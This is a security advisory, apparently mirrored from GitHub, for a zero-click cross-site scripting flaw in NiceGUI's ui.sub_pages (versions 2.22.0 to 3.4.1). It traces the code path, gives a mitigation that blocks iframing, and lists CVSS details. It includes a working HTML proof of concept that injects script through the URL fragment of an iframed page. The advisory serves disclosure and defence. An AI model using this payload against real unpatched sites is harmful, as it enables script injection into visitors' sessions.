NiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS

Description

Summary

An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.

Details

The problem is traced as follows:

  1. On pushstate, handleStateEvent is executed.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39

  1. handleStateEvent emits sub_pages_open event.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25

  1. SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22

  1. _handle_open finds any SubPages and runs _show() on them

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71

  1. If the if-logic is followed or debug prints are added, it can be found that it calls self._handle_scrolling(match, behavior='smooth') directly

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100

  1. CULPRIT _handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217

PoC

Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.

<html>
  <body>
    <iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
    <script>
      function triggerXSS() {
        if (!myiframe.src.includes("#")) {
          myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
        }
      }
    </script>
  </body>
</html>

<img width="1429" height="643" alt="image" src="https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6" />

Impact

Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.

The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).

Patch

  1. Not use ui.sub_pages
  2. Block iframe with the following code
@app.middleware(&#x27;http&#x27;)
async def iframe_blocking_middleware(request, call_next):
    response = await call_next(request)
    response.headers[&#x27;X-Frame-Options&#x27;] = &#x27;DENY&#x27;
    return response

Appendix

AI is used safely to judge the CVSS scoring (input is censored).

Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma

Scoring update after manual review

The scoring done by AI was quite biased. Upon further review it is less dramatic.

  • User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
  • Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
  • Availability None: No DDoS is possible with this. Site remains performant as ever.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-01-08 20:16:41 UTC
Updated
2026-01-08 20:16:43 UTC
GitHub reviewed
2026-01-08 20:16:41 UTC
NVD published
2026-01-08

EPSS Score

Score Percentile
0.02% 3.77%

CVSS Scores

Base score Version Severity Vector
7.2 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • evnchn (reporter)
  • falkoschindler (remediation_reviewer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip nicegui >= 2.22.0, <= 3.4.1 3.5.0

References

cvelogic Threat Intelligence